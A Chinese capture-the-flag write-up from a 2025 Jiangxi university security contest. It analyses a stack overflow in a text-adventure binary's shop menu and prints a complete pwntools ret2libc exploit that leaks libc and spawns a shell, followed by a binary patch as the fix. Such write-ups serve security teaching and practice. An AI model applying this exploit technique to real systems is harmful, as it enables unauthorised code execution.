2025年江西省大学生信息安全技术大赛-决赛-PWN-gitlab
2025年江西省大学生信息安全技术大赛-决赛-PWN-gitlab
攻击
拿到附件直接分析,一道简单的ret2libc
主函数会先调用introduction()录入姓名,然后进行探险explore()
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char v5[512]; // [rsp+0h] [rbp-210h] BYREF
int v6; // [rsp+200h] [rbp-10h]
int v7; // [rsp+204h] [rbp-Ch]
int v8; // [rsp+208h] [rbp-8h]
init(argc, argv, envp);
v3 = time(0LL);
srand(v3);
v6 = 100;
v7 = 20;
v8 = 0;
puts("Welcome to the adventure game!");
introduction(v5);
explore(v5);
return 0;
}
漏洞点位于explore()中的visitShop()
int __fastcall visitShop(__int64 a1)
{
char buf[2]; // [rsp+1Ah] [rbp-6h] BYREF
int v3; // [rsp+1Ch] [rbp-4h] BYREF
puts("You discover a shop in the ruins.");
puts("1. Buy health potion (20 gold)");
puts("2. Buy a better weapon (50 gold)");
puts("3. Leave the shop");
puts("4. Exit");
printf("Input 1, 2, 3, or 4: ");
read(0, buf, 0xc8uLL);
(__isoc99_sscanf)(buf, "%d", &v3);
if ( v3 == 1 )
{
if ( *(a1 + 0x204) <= 19 )
{
puts("You don't have enough gold to buy the health potion.");
}
else
{
*(a1 + 0x204) -= 20;
*(a1 + 0x200) += 30;
puts("You purchase a health potion and gain 30 health.");
}
return visitShop(a1);
}
if ( v3 <= 1 )
{
if ( !v3 )
return puts("You enter the unknown forest...game over...");
goto LABEL_17;
}
if ( v3 == 2 )
{
if ( *(a1 + 516) <= 49 )
{
puts("You don't have enough gold to buy a better weapon.");
}
else
{
*(a1 + 516) -= 50;
puts("You buy a better weapon and feel stronger!");
}
return visitShop(a1);
}
if ( v3 == 3 )
{
puts("You leave the shop and continue your adventure.");
return explore(a1);
}
LABEL_17:
puts("Invalid choice, try again.");
return visitShop(a1);
}
printf("Input 1, 2, 3, or 4: "); read(0, buf, 0xc8uLL);此处存在栈溢出完全可以打ret2libc,没什么好说的直接上exp
exp:
from pwn import*
from LibcSearcher import*
p = process("./pwn-awdp")
e = ELF("./pwn-awdp")
#libc = ELF("./libc-2.31.so")
context(arch = 'amd64',log_level = 'debug')
puts_got = e.got['puts']
puts_plt = e.plt['puts']
ph = lambda data : print(hex(data))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6::].ljust(8,b'\x00'))
psl = lambda data : p.sendline(data)
pc = lambda data : p.recvuntil(data)
pop_rdi = 0x00000000004010b3
ret = 0x00000000004006ae
main =0x00000000400847
def bug():
gdb.attach(p)
pause()
def choice(idx):
pc("Input 1, 2, 3, or 4: ")
psl(str(idx))
#=======introduction=======
p1 = b'1angx'
pc("What should your character's name be: ")
psl(p1)
#=======explore========
#choice(1)
#pc("Input 1, 2, 3, or 4: ")
#bug()
choice(2)
p2= b'\x01\x00\x00\x00\x00\x00'+p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main)
#
pc("Input 1, 2, 3, or 4: ")
psl(p2)
psl(b'\n')
pc("You enter the unknown forest...game over...\n")
#=======leak the libc base ========
puts_addr = uu64()
ph(puts_addr)
"""
base = puts_addr - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))
"""
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump("puts")
system = base + libc.dump("system")
binsh = base +libc.dump("str_bin_sh")
#========get_shell========
sleep(1)
#choice(1)
choice(2)
p2= b'\x00\x00\x00\x00\x00\x00'+p64(0) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
pc("Input 1, 2, 3, or 4: ")
#gdb.attach(p)
psl(p2)
#pause()
#bug()
p.interactive()
修复
按理来说直接修改溢出点的字节大小就可以防住
int __fastcall visitShop(__int64 a1)
{
char buf[2]; // [rsp+1Ah] [rbp-6h] BYREF
int v3; // [rsp+1Ch] [rbp-4h] BYREF
puts("You discover a shop in the ruins.");
puts("1. Buy health potion (20 gold)");
puts("2. Buy a better weapon (50 gold)");
puts("3. Leave the shop");
puts("4. Exit");
printf("Input 1, 2, 3, or 4: ");
read(0, buf, 2uLL); //改成两字节
(__isoc99_sscanf)(buf, "%d", &v3);
if ( v3 == 1 )
{
if ( *(a1 + 0x204) <= 19 )
{
puts("You don't have enough gold to buy the health potion.");
}
else
{
*(a1 + 0x204) -= 20;
*(a1 + 0x200) += 30;
puts("You purchase a health potion and gain 30 health.");
}
return visitShop(a1);
}
if ( v3 <= 1 )
{
if ( !v3 )
return puts("You enter the unknown forest...game over...");
goto LABEL_17;
}
if ( v3 == 2 )
{
if ( *(a1 + 516) <= 49 )
{
puts("You don't have enough gold to buy a better weapon.");
}
else
{
*(a1 + 516) -= 50;
puts("You buy a better weapon and feel stronger!");
}
return visitShop(a1);
}
if ( v3 == 3 )
{
puts("You leave the shop and continue your adventure.");
return explore(a1);
}
LABEL_17:
puts("Invalid choice, try again.");
return visitShop(a1);
}
但是不知道为啥必须得修改gameover函数(希望有知道的师傅可以和我交流交流qaq)
狠狠的被打烂了
.text:0000000000400FD2 call ___isoc99_sscanf
.text:0000000000400FD7 mov eax, [rbp+var_8]
.text:0000000000400FDA test eax, eax
.text:0000000000400FDC jz short loc_40102E ;此处将jz改为jnz即jnz short loc_40102E
.text:0000000000400FDE mov rax, [rbp+s]
.text:0000000000400FE2 mov dword ptr [rax+200h], 64h ; 'd'
.text:0000000000400FEC mov rax, [rbp+s]
.text:0000000000400FF0 mov dword ptr [rax+204h], 14h
.text:0000000000400FFA mov rax, [rbp+s]
.text:0000000000400FFE mov dword ptr [rax+208h], 0
.text:0000000000401008 lea rdi, aGreatLetSStart ; "\nGreat! Let's start a new adventure!\n"
jz:为零则跳转,jnz: 非零则跳转
改完后:
__int64 __fastcall gameOver(__int64 a1)
{
int v2; // [rsp+18h] [rbp-8h] BYREF
char buf[2]; // [rsp+1Eh] [rbp-2h] BYREF
puts((const char *)a1);
puts("\tGame Over, your adventure has come to an end.");
printf(
"You collected %d gold, had %d health remaining, and reached level %d.",
*(unsigned int *)(a1 + 516),
*(unsigned int *)(a1 + 512),
(unsigned int)(*(_DWORD *)(a1 + 520) / 20 + 1));
printf("Do you want to play again? (1 for yes, 0 for no): ");
read(0, buf, 2uLL);
__isoc99_sscanf(buf, "%d", &v2);
if ( v2 ) //原:if(!v2)
{
puts("Thank you for playing!");
exit(0);
}
*(_DWORD *)(a1 + 512) = 100;
*(_DWORD *)(a1 + 516) = 20;
*(_DWORD *)(a1 + 520) = 0;
puts("\nGreat! Let's start a new adventure!\n");
introduction((void *)a1);
return explore(a1);
}
我要吃炸鸡

浙公网安备 33010602011771号